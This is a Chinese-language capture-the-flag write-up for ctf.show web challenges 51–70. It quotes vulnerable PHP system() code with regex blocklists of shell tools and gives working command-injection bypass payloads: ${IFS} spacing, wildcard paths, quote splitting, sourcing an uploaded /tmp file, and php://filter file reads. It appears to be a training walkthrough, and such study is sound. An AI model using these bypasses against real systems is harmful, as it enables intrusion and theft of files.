Web51
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
Nl,绕过tac,cat,绕过flag
Payload
?c=nl<fla''g.php||
?c=nl<fla\g.php||
Web52
用 ${IFS} 绕过空格
Payload:
url + ?c=nl${IFS}fla''g.php||
Web53
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}
用 ${IFS} 绕过空格
Payload:
url + ?c=nl${IFS}fla''g.php||
Web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
绕过|.*f.*l.*a.*g.*|
这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的
Payload:
url + ?c=/bin/?at${IFS}f???.php
url + ?c=vi${IFS}f???.php
Web55
无字母rce
Payload1:
?c=/???/????64 ????.???
意思为:?c=/bin/base64 flag.php
Payload2:
url + ?c=/???/???/????2 ????.???
url + flag.php.bz2
利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。
bzip2 命令压缩后的文件以 “ .bz2 ” 为后缀
Web56
无数字字母rce
构造html
<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
替换<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">
的链接
payload:
?c=.%20/???/????????[@-[]
原理:
Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。
ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。
Web57
对 -37 再次取反即可得到 36。
根据 $((~ $(()) ))=-1,我们进行拼接,构造出 -37
Payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
Web58
Paylaod:
c=show_source('flag.php');
c=highlight_file("flag.php");
c=file_get_contents('flag.php');
filter协议:
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
Web59-65
同58的做题一样
Paylaod:
c=show_source('flag.php');
c=highlight_file("flag.php");
c=file_get_contents('flag.php');
filter协议:
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
web66
扫描目录
c=print_r(scandir('/'));
Paylaod:
c=show_source('/flag.txt');
c=highlight_file("/flag.txt");
c=file_get_contents('/flag.txt');
Web67-70
扫描目录
c=var_dump(scandir('/'));
c=var_export(scandir("/"));
Payload
c=include("/flag.txt");